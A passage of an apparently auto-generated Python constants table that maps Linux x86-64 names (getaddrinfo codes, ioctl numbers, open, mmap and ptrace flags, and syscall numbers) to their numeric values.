EAI_FAMILY = Constant('EAI_FAMILY',-1) EAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2) EAI_BADFLAGS = Constant('EAI_BADFLAGS',-3) EAI_NONAME = Constant('EAI_NONAME',-4) EAI_SERVICE = Constant('EAI_SERVICE',-5) EAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6) EAI_NODATA = Constant('EAI_NODATA',-7) EAI_MEMORY = Constant('EAI_MEMORY',-8) EAI_FAIL = Constant('EAI_FAIL',-9) EAI_AGAIN = Constant('EAI_AGAIN',-10) EAI_SYSTEM = Constant('EAI_SYSTEM',-11) AI_NUMERICHOST = Constant('AI_NUMERICHOST',1) AI_CANONNAME = Constant('AI_CANONNAME',2) AI_PASSIVE = Constant('AI_PASSIVE',4) AI_NUMERICSERV = Constant('AI_NUMERICSERV',8) AI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16) AI_V4MAPPED = Constant('AI_V4MAPPED',32) AI_ALL = Constant('AI_ALL',64) SIOCADDRT = Constant('SIOCADDRT',0x890B) SIOCDELRT = Constant('SIOCDELRT',0x890C) SIOCRTMSG = Constant('SIOCRTMSG',0x890D) SIOCGIFNAME = Constant('SIOCGIFNAME',0x8910) SIOCSIFLINK = Constant('SIOCSIFLINK',0x8911) SIOCGIFCONF = Constant('SIOCGIFCONF',0x8912) SIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913) SIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914) SIOCGIFADDR = Constant('SIOCGIFADDR',0x8915) SIOCSIFADDR = Constant('SIOCSIFADDR',0x8916) SIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917) SIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918) SIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919) SIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a) SIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b) SIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c) SIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d) SIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e) SIOCGIFMEM = Constant('SIOCGIFMEM',0x891f) SIOCSIFMEM = Constant('SIOCSIFMEM',0x8920) SIOCGIFMTU = Constant('SIOCGIFMTU',0x8921) SIOCSIFMTU = Constant('SIOCSIFMTU',0x8922) SIOCSIFNAME = Constant('SIOCSIFNAME',0x8923) SIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924) SIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925) SIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926) SIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927) SIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929) SIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930) SIOCADDMULTI = Constant('SIOCADDMULTI',0x8931) SIOCDELMULTI = Constant('SIOCDELMULTI',0x8932) SIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933) SIOGIFINDEX = Constant('SIOGIFINDEX',0x8933) SIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934) SIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935) SIOCDIFADDR = Constant('SIOCDIFADDR',0x8936) SIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937) SIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938) SIOCGIFBR = Constant('SIOCGIFBR',0x8940) SIOCSIFBR = Constant('SIOCSIFBR',0x8941) SIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942) SIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943) SIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944) SIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945) SIOCETHTOOL = Constant('SIOCETHTOOL',0x8946) SIOCDARP = Constant('SIOCDARP',0x8953) SIOCGARP = Constant('SIOCGARP',0x8954) SIOCSARP = Constant('SIOCSARP',0x8955) SIOCDRARP = Constant('SIOCDRARP',0x8960) SIOCGRARP = Constant('SIOCGRARP',0x8961) SIOCSRARP = Constant('SIOCSRARP',0x8962) SIOCGIFMAP = Constant('SIOCGIFMAP',0x8970) SIOCSIFMAP = Constant('SIOCSIFMAP',0x8971) SIOCADDDLCI = Constant('SIOCADDDLCI',0x8980) SIOCDELDLCI = Constant('SIOCDELDLCI',0x8981) SIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0) F_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024) O_ACCMODE = Constant('O_ACCMODE',0o003) O_RDONLY = Constant('O_RDONLY',0o0) O_WRONLY = Constant('O_WRONLY',0o1) O_RDWR = Constant('O_RDWR',0o2) O_CREAT = Constant('O_CREAT',0o100) O_EXCL = Constant('O_EXCL',0o200) O_NOCTTY = Constant('O_NOCTTY',0o400) O_TRUNC = Constant('O_TRUNC',0o1000) O_APPEND = Constant('O_APPEND',0o2000) O_NONBLOCK = Constant('O_NONBLOCK',0o4000) O_NDELAY = Constant('O_NDELAY',0o4000) O_DSYNC = Constant('O_DSYNC',0o10000) FASYNC = Constant('FASYNC',0o20000) O_DIRECT = Constant('O_DIRECT',0o40000) O_LARGEFILE = Constant('O_LARGEFILE',0o100000) O_DIRECTORY = Constant('O_DIRECTORY',0o200000) O_NOFOLLOW = Constant('O_NOFOLLOW',0o400000) O_NOATIME = Constant('O_NOATIME',0o1000000) O_CLOEXEC = Constant('O_CLOEXEC',0o2000000) O_SYNC = Constant('O_SYNC',(0o10000|0o4000000)) O_PATH = Constant('O_PATH',0o10000000) __O_TMPFILE = Constant('__O_TMPFILE',0o20000000) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETLK = Constant('F_GETLK',5) F_SETLK = Constant('F_SETLK',6) F_SETLKW = Constant('F_SETLKW',7) F_SETOWN = Constant('F_SETOWN',8) F_GETOWN = Constant('F_GETOWN',9) F_SETSIG = Constant('F_SETSIG',10) F_GETSIG = Constant('F_GETSIG',11) F_GETLK64 = Constant('F_GETLK64',12) F_SETLK64 = Constant('F_SETLK64',13) F_SETLKW64 = Constant('F_SETLKW64',14) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',0) F_WRLCK = Constant('F_WRLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_EXLCK = Constant('F_EXLCK',4) F_SHLCK = Constant('F_SHLCK',8) F_INPROGRESS = Constant('F_INPROGRESS',16) LOCK_SH = Constant('LOCK_SH',1) LOCK_EX = Constant('LOCK_EX',2) LOCK_NB = Constant('LOCK_NB',4) LOCK_UN = Constant('LOCK_UN',8) LOCK_MAND = Constant('LOCK_MAND',32) LOCK_READ = Constant('LOCK_READ',64) LOCK_WRITE = Constant('LOCK_WRITE',128) LOCK_RW = Constant('LOCK_RW',192) O_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0o200000)) O_ASYNC = Constant('O_ASYNC',0o20000) F_SETOWN_EX = Constant('F_SETOWN_EX',15) F_GETOWN_EX = Constant('F_GETOWN_EX',16) F_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17) F_OFD_GETLK = Constant('F_OFD_GETLK',36) F_OFD_SETLK = Constant('F_OFD_SETLK',37) F_OFD_SETLKW = Constant('F_OFD_SETLKW',38) F_OWNER_TID = Constant('F_OWNER_TID',0) F_OWNER_PID = Constant('F_OWNER_PID',1) F_OWNER_PGRP = Constant('F_OWNER_PGRP',2) AT_FDCWD = Constant('AT_FDCWD',-100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800) AT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000) AT_EACCESS = Constant('AT_EACCESS',0x200) MREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1) MREMAP_FIXED = Constant('MREMAP_FIXED',2) PROT_READ = Constant('PROT_READ',0x1) PROT_WRITE = Constant('PROT_WRITE',0x2) PROT_EXEC = Constant('PROT_EXEC',0x4) PROT_SEM = Constant('PROT_SEM',0x8) PROT_NONE = Constant('PROT_NONE',0x0) PROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000) PROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000) MAP_SHARED = Constant('MAP_SHARED',0x01) MAP_PRIVATE = Constant('MAP_PRIVATE',0x02) MAP_TYPE = Constant('MAP_TYPE',0xf) MADV_REMOVE = Constant('MADV_REMOVE',9) MADV_DONTFORK = Constant('MADV_DONTFORK',10) MADV_DOFORK = Constant('MADV_DOFORK',11) MADV_MERGEABLE = Constant('MADV_MERGEABLE',12) MADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13) MADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14) MADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15) MADV_DONTDUMP = Constant('MADV_DONTDUMP',16) MADV_DODUMP = Constant('MADV_DODUMP',17) MADV_HWPOISON = Constant('MADV_HWPOISON',100) MADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101) MLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1) MAP_FIXED = Constant('MAP_FIXED',0x10) MAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x20) MAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x0100) MAP_DENYWRITE = Constant('MAP_DENYWRITE',0x0800) MAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x1000) MAP_LOCKED = Constant('MAP_LOCKED',0x2000) MAP_NORESERVE = Constant('MAP_NORESERVE',0x4000) MAP_POPULATE = Constant('MAP_POPULATE',0x8000) MAP_NONBLOCK = Constant('MAP_NONBLOCK',0x10000) MAP_STACK = Constant('MAP_STACK',0x20000) MAP_HUGETLB = Constant('MAP_HUGETLB',0x40000) MS_ASYNC = Constant('MS_ASYNC',1) MS_INVALIDATE = Constant('MS_INVALIDATE',2) MS_SYNC = Constant('MS_SYNC',4) MCL_CURRENT = Constant('MCL_CURRENT',1) MCL_FUTURE = Constant('MCL_FUTURE',2) MCL_ONFAULT = Constant('MCL_ONFAULT',4) MADV_NORMAL = Constant('MADV_NORMAL',0x0) MADV_RANDOM = Constant('MADV_RANDOM',0x1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2) MADV_WILLNEED = Constant('MADV_WILLNEED',0x3) MADV_DONTNEED = Constant('MADV_DONTNEED',0x4) MAP_ANON = Constant('MAP_ANON',0x20) MAP_FILE = Constant('MAP_FILE',0) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4) PTRACE_TRACEME = Constant('PTRACE_TRACEME',0) PTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1) PTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2) PTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3) PTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3) PTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4) PTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5) PTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6) PTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6) PTRACE_CONT = Constant('PTRACE_CONT',7) PTRACE_KILL = Constant('PTRACE_KILL',8) PTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9) PTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10) PTRACE_DETACH = Constant('PTRACE_DETACH',0x11) PTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24) PTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201) PTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202) PTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203) PTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001) PTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002) PTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004) PTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008) PTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010) PTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020) PTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040) PTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f) PTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1) PTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2) PTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3) PTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4) PTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5) PTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6) PT_TRACE_ME = Constant('PT_TRACE_ME',0) PT_READ_I = Constant('PT_READ_I',1) PT_READ_D = Constant('PT_READ_D',2) PT_READ_U = Constant('PT_READ_U',3) PT_WRITE_I = Constant('PT_WRITE_I',4) PT_WRITE_D = Constant('PT_WRITE_D',5) PT_WRITE_U = Constant('PT_WRITE_U',6) PT_CONTINUE = Constant('PT_CONTINUE',7) PT_KILL = Constant('PT_KILL',8) PT_STEP = Constant('PT_STEP',9) PT_ATTACH = Constant('PT_ATTACH',0x10) PT_DETACH = Constant('PT_DETACH',0x11) SYS_accept = Constant('SYS_accept',43) SYS_accept4 = Constant('SYS_accept4',288) SYS_access = Constant('SYS_access',21) SYS_acct = Constant('SYS_acct',163) SYS_add_key = Constant('SYS_add_key',248) SYS_adjtimex = Constant('SYS_adjtimex',159) SYS_afs_syscall = Constant('SYS_afs_syscall',183) SYS_alarm = Constant('SYS_alarm',37) SYS_arch_prctl = Constant('SYS_arch_prctl',158) SYS_bind = Constant('SYS_bind',49) SYS_bpf = Constant('SYS_bpf',321) SYS_brk = Constant('SYS_brk',12) SYS_capget = Constant('SYS_capget',125) SYS_capset = Constant('SYS_capset',126) SYS_chdir = Constant('SYS_chdir',80) SYS_chmod = Constant('SYS_chmod',90) SYS_chown = Constant('SYS_chown',92) SYS_chroot = Constant('SYS_chroot',161) SYS_clock_adjtime = Constant('SYS_clock_adjtime',305) SYS_clock_getres = Constant('SYS_clock_getres',229) SYS_clock_gettime = Constant('SYS_clock_gettime',228) SYS_clock_nanosleep = Constant('SYS_clock_nanosleep',230) SYS_clock_settime = Constant('SYS_clock_settime',227) SYS_clone = Constant('SYS_clone',56) SYS_clone3 = Constant('SYS_clone3',435) SYS_close = Constant('SYS_close',3) SYS_connect = Constant('SYS_connect',42) SYS_copy_file_range = Constant('SYS_copy_file_range',326) SYS_creat = Constant('SYS_creat',85) SYS_create_module = Constant('SYS_create_module',174) SYS_delete_module = Constant('SYS_delete_module',176) SYS_dup = Constant('SYS_dup',32) SYS_dup2 = Constant('SYS_dup2',33) SYS_dup3 = Constant('SYS_dup3',292) SYS_epoll_create = Constant('SYS_epoll_create',213) SYS_epoll_create1 = Constant('SYS_epoll_create1',291) SYS_epoll_ctl = Constant('SYS_epoll_ctl',233) SYS_epoll_ctl_old = Constant('SYS_epoll_ctl_old',214) SYS_epoll_pwait = Constant('SYS_epoll_pwait',281) SYS_epoll_wait = Constant('SYS_epoll_wait',232) SYS_epoll_wait_old = Constant('SYS_epoll_wait_old',215) SYS_eventfd = Constant('SYS_eventfd',284) SYS_eventfd2 = Constant('SYS_eventfd2',290) SYS_execve = Constant('SYS_execve',59) SYS_execveat = Constant('SYS_execveat',322) SYS_exit = Constant('SYS_exit',60) SYS_exit_group = Constant('SYS_exit_group',231) SYS_faccessat = Constant('SYS_faccessat',269) SYS_fadvise64 = Constant('SYS_fadvise64',221) SYS_fallocate = Constant('SYS_fallocate',285) SYS_fanotify_init = Constant('SYS_fanotify_init',300) SYS_fanotify_mark = Constant('SYS_fanotify_mark',301) SYS_fchdir = Constant('SYS_fchdir',81) SYS_fchmod = Constant('SYS_fchmod',91) SYS_fchmodat = Constant('SYS_fchmodat',268) SYS_fchown = Constant('SYS_fchown',93) SYS_fchownat = Constant('SYS_fchownat',260) SYS_fcntl = Constant('SYS_fcntl',72) SYS_fdatasync = Constant('SYS_fdatasync',75) SYS_fgetxattr = Constant('SYS_fgetxattr',193) SYS_finit_module = Constant('SYS_finit_module',313) SYS_flistxattr = Constant('SYS_flistxattr',196) SYS_flock = Constant('SYS_flock',73) SYS_fork = Constant('SYS_fork',57) SYS_fremovexattr = Constant('SYS_fremovexattr',199) SYS_fsconfig = Constant('SYS_fsconfig',431) SYS_fsetxattr = Constant('SYS_fsetxattr',190) SYS_fsmount = Constant('SYS_fsmount',432) SYS_fsopen = Constant('SYS_fsopen',430) SYS_fspick = Constant('SYS_fspick',433) SYS_fstat = Constant('SYS_fstat',5) SYS_fstatfs = Constant('SYS_fstatfs',138) SYS_fsync = Constant('SYS_fsync',74) SYS_ftruncate = Constant('SYS_ftruncate',77) SYS_futex = Constant('SYS_futex',202) SYS_futimesat = Constant('SYS_futimesat',261) SYS_getcpu = Constant('SYS_getcpu',309) SYS_getcwd = Constant('SYS_getcwd',79) SYS_getdents = Constant('SYS_getdents',78) SYS_getdents64 = Constant('SYS_getdents64',217) SYS_getegid = Constant('SYS_getegid',108) SYS_geteuid = Constant('SYS_geteuid',107) SYS_getgid = Constant('SYS_getgid',104) SYS_getgroups = Constant('SYS_getgroups',115) SYS_getitimer = Constant('SYS_getitimer',36) SYS_get_kernel_syms = Constant('SYS_get_kernel_syms',177) SYS_get_mempolicy = Constant('SYS_get_mempolicy',239) SYS_getpeername = Constant('SYS_getpeername',52) SYS_getpgid = Constant('SYS_getpgid',121) SYS_getpgrp = Constant('SYS_getpgrp',111) SYS_getpid = Constant('SYS_getpid',39) SYS_getpmsg = Constant('SYS_getpmsg',181) SYS_getppid = Constant('SYS_getppid',110) SYS_getpriority = Constant('SYS_getpriority',140) SYS_getrandom = Constant('SYS_getrandom',318) SYS_getresgid = Constant('SYS_getresgid',120) SYS_getresuid = Constant('SYS_getresuid',118) SYS_getrlimit = Constant('SYS_getrlimit',97) SYS_get_robust_list = Constant('SYS_get_robust_list',274) SYS_getrusage = Constant('SYS_getrusage',98) SYS_getsid = Constant('SYS_getsid',124) SYS_getsockname = Constant('SYS_getsockname',51) SYS_getsockopt = Constant('SYS_getsockopt',55) SYS_get_thread_area = Constant('SYS_get_thread_area',211) SYS_gettid = Constant('SYS_gettid',186) SYS_gettimeofday = Constant('SYS_gettimeofday',96) SYS_getuid = Constant('SYS_getuid',102) SYS_getxattr = Constant('SYS_getxattr',191) SYS_init_module = Constant('SYS_init_module',175) SYS_inotify_add_watch = Constant('SYS_inotify_add_watch',254) SYS_inotify_init = Constant('SYS_inotify_init',253) SYS_inotify_init1 = Constant('SYS_inotify_init1',294) SYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',255) SYS_io_cancel = Constant('SYS_io_cancel',210) SYS_ioctl = Constant('SYS_ioctl',16) SYS_io_destroy = Constant('SYS_io_destroy',207) SYS_io_getevents = Constant('SYS_io_getevents',208) SYS_ioperm = Constant('SYS_ioperm',173) SYS_io_pgetevents = Constant('SYS_io_pgetevents',333) SYS_iopl = Constant('SYS_iopl',172) SYS_ioprio_get = Constant('SYS_ioprio_get',252) SYS_ioprio_set = Constant('SYS_ioprio_set',251) SYS_io_setup = Constant('SYS_io_setup',206) SYS_io_submit = Constant('SYS_io_submit',209) SYS_io_uring_enter = Constant('SYS_io_uring_enter',426) SYS_io_uring_register = Constant('SYS_io_uring_register',427) SYS_io_uring_setup = Constant('SYS_io_uring_setup',425) SYS_kcmp = Constant('SYS_kcmp',312) SYS_kexec_file_load = Constant('SYS_kexec_file_load',320) SYS_kexec_load = Constant('SYS_kexec_load',246) SYS_keyctl = Constant('SYS_keyctl',250) SYS_kill = Constant('SYS_kill',62) SYS_lchown = Constant('SYS_lchown',94) SYS_lgetxattr = Constant('SYS_lgetxattr',192) SYS_link = Constant('SYS_link',86) SYS_linkat = Constant('SYS_linkat',265) SYS_listen = Constant('SYS_listen',50) SYS_listxattr = Constant('SYS_listxattr',194) SYS_llistxattr = Constant('SYS_llistxattr',195) SYS_lookup_dcookie = Constant('SYS_lookup_dcookie',212) SYS_lremovexattr = Constant('SYS_lremovexattr',198) SYS_lseek = Constant('SYS_lseek',8) SYS_lsetxattr = Constant('SYS_lsetxattr',189) SYS_lstat = Constant('SYS_lstat',6) SYS_madvise = Constant('SYS_madvise',28) SYS_mbind = Constant('SYS_mbind',237) SYS_membarrier = Constant('SYS_membarrier',324) SYS_memfd_create = Constant('SYS_memfd_create',319) SYS_migrate_pages = Constant('SYS_migrate_pages',256) SYS_mincore = Constant('SYS_mincore',27) SYS_mkdir = Constant('SYS_mkdir',83) SYS_mkdirat = Constant('SYS_mkdirat',258) SYS_mknod = Constant('SYS_mknod',133) SYS_mknodat = Constant('SYS_mknodat',259) SYS_mlock = Constant('SYS_mlock',149) SYS_mlock2 = Constant('SYS_mlock2',325) SYS_mlockall = Constant('SYS_mlockall',151) SYS_mmap = Constant('SYS_mmap',9) SYS_modify_ldt = Constant('SYS_modify_ldt',154) SYS_mount = Constant('SYS_mount',165) SYS_move_mount = Constant('SYS_move_mount',429) SYS_move_pages = Constant('SYS_move_pages',279) SYS_mprotect = Constant('SYS_mprotect',10) SYS_mq_getsetattr = Constant('SYS_mq_getsetattr',245) SYS_mq_notify = Constant('SYS_mq_notify',244) SYS_mq_open = Constant('SYS_mq_open',240) SYS_mq_timedreceive = Constant('SYS_mq_timedreceive',243) SYS_mq_timedsend = Constant('SYS_mq_timedsend',242) SYS_mq_unlink = Constant('SYS_mq_unlink',241) SYS_mremap = Constant('SYS_mremap',25) SYS_msgctl = Constant('SYS_msgctl',71) SYS_msgget = Constant('SYS_msgget',68) SYS_msgrcv = Constant('SYS_msgrcv',70) SYS_msgsnd = Constant('SYS_msgsnd',69) SYS_msync = Constant('SYS_msync',26) SYS_munlock = Constant('SYS_munlock',150) SYS_munlockall = Constant('SYS_munlockall',152) SYS_munmap = Constant('SYS_munmap',11) SYS_name_to_handle_at = Constant('SYS_name_to_handle_at',303) SYS_nanosleep = Constant('SYS_nanosleep',35) SYS_newfstatat = Constant('SYS_newfstatat',262) SYS_nfsservctl = Constant('SYS_nfsservctl',180) SYS_open = Constant('SYS_open',2) SYS_openat = Constant('SYS_openat',257) SYS_openat2 = Constant('SYS_openat2',437) SYS_open_by_handle_at = Constant('SYS_open_by_handle_at',304) SYS_open_tree = Constant('SYS_open_tree',428) SYS_pause = Constant('SYS_pause',34) SYS_perf_event_open = Constant('SYS_perf_event_open',298) SYS_personality = Constant('SYS_personality',135) SYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438) SYS_pidfd_open = Constant('SYS_pidfd_open',434) SYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424) SYS_pipe = Constant('SYS_pipe',22) SYS_pipe2 = Constant('SYS_pipe2',293) SYS_pivot_root = Constant('SYS_pivot_root',155) SYS_pkey_alloc = Constant('SYS_pkey_alloc',330) SYS_pkey_free = Constant('SYS_pkey_free',331) SYS_pkey_mprotect = Constant('SYS_pkey_mprotect',329) SYS_poll = Constant('SYS_poll',7) SYS_ppoll = Constant('SYS_ppoll',271) SYS_prctl = Constant('SYS_prctl',157) SYS_pread = Constant('SYS_pread',17) SYS_preadv = Constant('SYS_preadv',295) SYS_preadv2 = Constant('SYS_preadv2',327) SYS_prlimit64 = Constant('SYS_prlimit64',302) SYS_process_vm_readv = Constant('SYS_process_vm_readv',310) SYS_process_vm_writev = Constant('SYS_process_vm_writev',311) SYS_pselect6 = Constant('SYS_pselect6',270) SYS_ptrace = Constant('SYS_ptrace',101) SYS_putpmsg = Constant('SYS_putpmsg',182) SYS_pwrite = Constant('SYS_pwrite',18) SYS_pwritev = Constant('SYS_pwritev',296) SYS_pwritev2 = Constant('SYS_pwritev2',328) SYS_query_module = Constant('SYS_query_module',178) SYS_quotactl = Constant('SYS_quotactl',179) SYS_read = Constant('SYS_read',0) SYS_readahead = Constant('SYS_readahead',187) SYS_readlink = Constant('SYS_readlink',89) SYS_readlinkat = Constant('SYS_readlinkat',267) SYS_readv = Constant('SYS_readv',19) SYS_reboot = Constant('SYS_reboot',169) SYS_recvfrom = Constant('SYS_recvfrom',45) SYS_recvmmsg = Constant('SYS_recvmmsg',299) SYS_recvmsg = Constant('SYS_recvmsg',47) SYS_remap_file_pages = Constant('SYS_remap_file_pages',216) SYS_removexattr = Constant('SYS_removexattr',197) SYS_rename = Constant('SYS_rename',82) SYS_renameat = Constant('SYS_renameat',264) SYS_renameat2 = Constant('SYS_renameat2',316) SYS_request_key = Constant('SYS_request_key',249) SYS_restart_syscall = Constant('SYS_restart_syscall',219) SYS_rmdir = Constant('SYS_rmdir',84) SYS_rseq = Constant('SYS_rseq',334) SYS_rt_sigaction = Constant('SYS_rt_sigaction',13) SYS_rt_sigpending = Constant('SYS_rt_sigpending',127) SYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',14) SYS_rt_sigqueueinfo = Constant('SYS_rt_sigqueueinfo',129) SYS_rt_sigreturn = Constant('SYS_rt_sigreturn',15) SYS_rt_sigsuspend = Constant('SYS_rt_sigsuspend',130) SYS_rt_sigtimedwait = Constant('SYS_rt_sigtimedwait',128) SYS_rt_tgsigqueueinfo = Constant('SYS_rt_tgsigqueueinfo',297) SYS_sched_getaffinity = Constant('SYS_sched_getaffinity',204) SYS_sched_getattr = Constant('SYS_sched_getattr',315) SYS_sched_getparam = Constant('SYS_sched_getparam',143) SYS_sched_get_priority_max = Constant('SYS_sched_get_priority_max',146) SYS_sched_get_priority_min = Constant('SYS_sched_get_priority_min',147) SYS_sched_getscheduler = Constant('SYS_sched_getscheduler',145) SYS_sched_rr_get_interval = Constant('SYS_sched_rr_get_interval',148) SYS_sched_setaffinity = Constant('SYS_sched_setaffinity',203) SYS_sched_setattr = Constant('SYS_sched_setattr',314) SYS_sched_setparam = Constant('SYS_sched_setparam',142) SYS_sched_setscheduler = Constant('SYS_sched_setscheduler',144) SYS_sched_yield = Constant('SYS_sched_yield',24) SYS_seccomp = Constant('SYS_seccomp',317) SYS_security = Constant('SYS_security',185) SYS_select = Constant('SYS_select',23) SYS_semctl = Constant('SYS_semctl',66) SYS_semget = Constant('SYS_semget',64) SYS_semop = Constant('SYS_semop',65) SYS_semtimedop = Constant('SYS_semtimedop',220) SYS_sendfile = Constant('SYS_sendfile',40) SYS_sendmmsg = Constant('SYS_sendmmsg',307) SYS_sendmsg = Constant('SYS_sendmsg',46) SYS_sendto = Constant('SYS_sendto',44) SYS_setdomainname = Constant('SYS_setdomainname',171) SYS_setfsgid = Constant('SYS_setfsgid',123) SYS_setfsuid = Constant('SYS_setfsuid',122) SYS_setgid = Constant('SYS_setgid',106) SYS_setgroups = Constant('SYS_setgroups',116) SYS_sethostname = Constant('SYS_sethostname',170) SYS_setitimer = Constant('SYS_setitimer',38) SYS_set_mempolicy = Constant('SYS_set_mempolicy',238) SYS_setns = Constant('SYS_setns',308) SYS_setpgid = Constant('SYS_setpgid',109) SYS_setpriority = Constant('SYS_setpriority',141) SYS_setregid = Constant('SYS_setregid',114) SYS_setresgid = Constant('SYS_setresgid',119) SYS_setresuid = Constant('SYS_setresuid',117) SYS_setreuid = Constant('SYS_setreuid',113) SYS_setrlimit = Constant('SYS_setrlimit',160) SYS_set_robust_list = Constant('SYS_set_robust_list',273) SYS_setsid = Constant('SYS_setsid',112) SYS_setsockopt = Constant('SYS_setsockopt',54) SYS_set_thread_area = Constant('SYS_set_thread_area',205) SYS_set_tid_address = Constant('SYS_set_tid_address',218) SYS_settimeofday = Constant('SYS_settimeofday',164) SYS_setuid = Constant('SYS_setuid',105) SYS_setxattr = Constant('SYS_setxattr',188) SYS_shmat = Constant('SYS_shmat',30) SYS_shmctl = Constant('SYS_shmctl',31) SYS_shmdt = Constant('SYS_shmdt',67) SYS_shmget = Constant('SYS_shmget',29) SYS_shutdown = Constant('SYS_shutdown',48) SYS_sigaltstack = Constant('SYS_sigaltstack',131) SYS_signalfd = Constant('SYS_signalfd',282) SYS_signalfd4 = Constant('SYS_signalfd4',289) SYS_socket = Constant('SYS_socket',41) SYS_socketpair = Constant('SYS_socketpair',53) SYS_splice = Constant('SYS_splice',275) SYS_stat = Constant('SYS_stat',4) SYS_statfs = Constant('SYS_statfs',137) SYS_statx = Constant('SYS_statx',332) SYS_swapoff = Constant('SYS_swapoff',168) SYS_swapon = Constant('SYS_swapon',167) SYS_symlink = Constant('SYS_symlink',88) SYS_symlinkat = Constant('SYS_symlinkat',266) SYS_sync = Constant('SYS_sync',162) SYS_sync_file_range = Constant('SYS_sync_file_range',277) SYS_syncfs = Constant('SYS_syncfs',306) SYS__sysctl = 